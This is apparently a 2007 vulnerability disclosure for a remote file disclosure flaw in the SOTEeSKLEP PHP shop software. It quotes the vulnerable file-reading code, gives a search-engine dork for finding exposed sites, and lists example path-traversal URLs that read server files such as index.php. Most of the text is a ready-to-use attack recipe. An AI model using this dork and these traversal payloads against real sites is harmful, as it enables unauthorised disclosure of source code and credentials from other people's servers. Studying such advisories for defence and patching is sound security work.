SOTEeSKLEP Remote File Disclosure Vulnerability
Script : SOTEeSKLEP
Versions: 3.1RC8, 3.5RC1, 3.5RC4, 3.5RC9, and i think other.
Site : http://www.sote.pl
Bug:
…
if (! empty($_REQUEST["file"])) { $file=$REQUEST['file']; }
…
$file_path="$DOCUMENT_ROOT/themes/$config->lang/_html_files/$file";
if (file_exists($file_path)) { $fd=fopen($file_path,"r");
$data=fread($fd,filesize($file_path));
print $data;
fclose($fd);
}
…
Dork: inurl:"/go/_files/?file="
Examples:
http://???/go/_files/?file=./…/./…/./…/./
http://???/go/_files/?file=./…/./…/./…/./go/_files/index.php
Discovered by dun
2007.08.11